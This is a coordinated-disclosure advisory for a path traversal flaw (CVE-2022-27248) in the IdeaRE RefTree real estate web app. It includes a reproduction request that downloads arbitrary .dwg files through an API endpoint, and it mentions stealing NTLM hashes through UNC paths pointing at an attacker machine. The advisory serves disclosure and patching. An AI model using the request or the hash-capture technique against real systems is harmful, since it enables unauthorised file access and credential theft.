IdeaRE RefTree Path Traversal

`===============================================================================  
title: IdeaRE RefTree Download Path Traversal  
product: IdeaRE RefTree < 2021.09.17  
vulnerability type: Directory Traversal  
CVE ID: CVE-2022-27248  
severity: Medium  
CVSSv3 score: 4.3  
CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N  
found: 2021-09-13  
by: Savino Sisco <[email protected]>  
===============================================================================  
  
[EXECUTIVE SUMMARY]  
RefTree is a web application made for managing complex real estate situations.  
Among other features, it offers the possibility for authenticated users  
to upload and download DWG (CAD drawings) files for buildings.  
  
During a penetration test activity, a "Directory Traversal" vulnerability  
was found on the download feature which allows to download arbitrary files  
with the "dwg" extension. The application actually checks that the filename  
ends with "dwg", so it's not possible to download files with other extensions.  
  
This vulnerability may also allow to steal NTLM hashes of the host system  
by supplying, as the download path, a UNC path pointing to an   
attacker controlled machine running a tool like Responder.  
  
[VULNERABLE VERSIONS]  
IdeaRE RefTree < 2021.09.17  
  
[TECHNICAL DETAILS]  
It is possible to reproduce the issue following these steps:  
1. Log into the application to get a valid session cookie  
2. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/DownloadDwg'  
to download an arbitrary "dwg" file (UNC paths are accepted).  
  
  
Example of the request to the Download endpoint:  
  
POST /CaddemServiceJS/CaddemService.svc/rest/DownloadDwg HTTP/2  
Host: [REDACTED]  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json  
Content-Length: 111  
Origin: https://[REDACTED]  
Referer: https://[REDACTED]/Reftreespace/  
Cookie: ASP.NET_SessionId=dezu5r0zswyqk4dukwt5jt5n  
  
{  
"path": "C:\\Users\\Public\\test.dwg"  
}  
  
  
HTTP/2 200 OK  
Cache-Control: private  
Content-Type: application/json; charset=utf-8  
Server: Microsoft-IIS/10.0  
Access-Control-Allow-Credentials: true  
Access-Control-Allow-Origin: https://[REDACTED]  
X-Powered-By: ASP.NET  
Date: Thu, 10 Oct 2021 11:21:32 GMT  
Content-Length: 241916  
  
{"DownloadDwgResult":[BASE64_FILE_REDACTED]}  
  
  
[VULNERABILITY REFERENCE]  
The following CVE ID was allocated to track the vulnerabilities:  
CVE-2022-27248  
  
  
[DISCLOSURE TIMELINE]  
2021-09-13 Vulnerability disclosed to our customer and the vendor.  
Vendor acknowledged the issue.  
2021-09-17 Vendor released a fix for the software.  
2021-10-15 The vulnerability was rechecked in the newer version to confirm   
that is was indeed fixed.  
2022-03-15 Researcher requested to publicly disclose the issue; public  
coordinated disclosure.  
  
[RESOLUTION]  
Update the software to a version >= 2021.09.17  
  
[CONTACT DETAILS]  
Savino Sisco <[email protected]>  
https://www.linkedin.com/in/savino-sisco/  
`